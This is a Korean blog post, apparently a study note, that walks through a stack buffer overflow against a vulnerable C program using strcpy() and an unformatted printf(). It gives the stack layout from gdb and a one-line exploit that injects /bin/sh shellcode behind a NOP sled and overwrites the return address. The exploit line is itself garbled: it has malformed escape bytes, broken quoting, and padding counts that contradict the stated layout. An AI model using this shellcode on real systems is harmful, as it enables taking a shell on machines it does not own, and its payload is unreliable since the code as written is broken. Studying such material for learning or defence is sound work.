Try Attack/System Hacking[basic]

Overflow - 1

D4tai1 2018. 5. 20.

vulnerable.c

 

위 코드는 strcpy()함수로 argv[1]을 str로 복사 후 printf()함수로 str을 출력

 

그러나 위 코드에는 strcpy()함수와 printf()함수의 취약점이 존재.

 

strcpy()는 argv[1]의 문자열의 길이를 검증하지 않아 Buffer Overflow 취약점이 발생

printf()는 포멧 타입과 인자를 지정하지 않고 변수를 직접 인자로 넣어서 Format String Bug 취약점이 발생

 

 

시나리오1. Buffer Overflow

- str 사이즈가 256byte이고 strcpy()는 문자열의 길이를 검증하지 않으므로 argv[1]에 shell 코드를 넣고 str로 복사하여 str을 Overflow시키고 main()함수의 return address를 str주소로 변조하여 공격

 

실행파일 Disassemble

 

 

<main+3>은 stack pointer를 16진수 108(10진수 264)만큼 확보

그러나 우리는 str에 256byte만큼만 할당

이것으로 컴파일러가 dummy를 추가했을 것으로 추측

dummy의 값은 8byte[264-256]

 

 

main()함수의 복귀주소를 str로 바꾸기 위해

str의 주소를 알아내기

strcpy()함수가 호출되고 난 후인 main+56에 break

 

인자 및 프로그램 길이에 따라 변수의 주소도 달라지므로 payload의 길이는 어느정도

예상해서 실행

 

 0xbffff9e8

 RET(4)

 0xbffff9e4

 SFT(4)

 0xbffff9e0

 Dummy(8)

 0xbffff8e0

 str(256)

현재 스택의 상태

 

(gdb) x/20wx $esp

 

str(256) + Dummy(8) + SFP(4) = 268byte만큼 채우고 RET는 0xbffff8e0로 변경

 

= NOP(100) + SHELLCODE(25) + NOP(131) + Dummy(8) + SFP(4) + RET(4)

 

$ ./vulnerable $(python -c 'print("\90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe3\x50\x8xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+\x90*143 + \xe0\xf8\xff\xbf")')

 

$id

 

 

 

 

 

 

 

 

 

'Try Attack > System Hacking[basic]' 카테고리의 다른 글

RTL(Return To Libc) 입력  (0) 2019.01.11
Overflow - 2  (0) 2018.05.24
gcc 메모리보호옵션  (0) 2018.05.18
gcc 사용방법  (0) 2018.05.18
함수의 호출규약  (1) 2018.05.18

댓글